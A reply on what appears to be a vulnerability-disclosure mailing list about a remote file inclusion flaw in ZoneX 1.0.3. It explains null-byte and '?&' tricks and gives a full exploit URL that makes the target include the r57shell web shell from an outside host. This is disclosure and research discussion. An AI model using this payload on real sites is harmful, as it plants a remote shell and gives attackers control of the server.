<<< Date Index >>>     <<< Thread Index >>>

Re: ZoneX 1.0.3 - Publishers Gold Edition Remote File Inclusion Vulnerability



On 9/6/06, Steven M. Christey <coley@xxxxxxxxx> wrote:

In a typical PHP exploit scenario, the attacker could merely add a
null byte ("%00") to the phpbb_root_path parameter, which would then
cause the include call to ignore this extra file tree/name
information.  Is there some reason why a null byte wouldn't work in
this situation?

You would basically just need to add ?& to the end of the http get
request as so if your including a remote file, since you would be
placing the remaining file tree as a variable name.

http://www.site.com/[path]/includes/usercp_register.php?phpbb_root_path=http://rst.void.ru/download/r57shell.txt?&;

Using a null byte should work if magic_quotes = off.

Best Regards,
/str0ke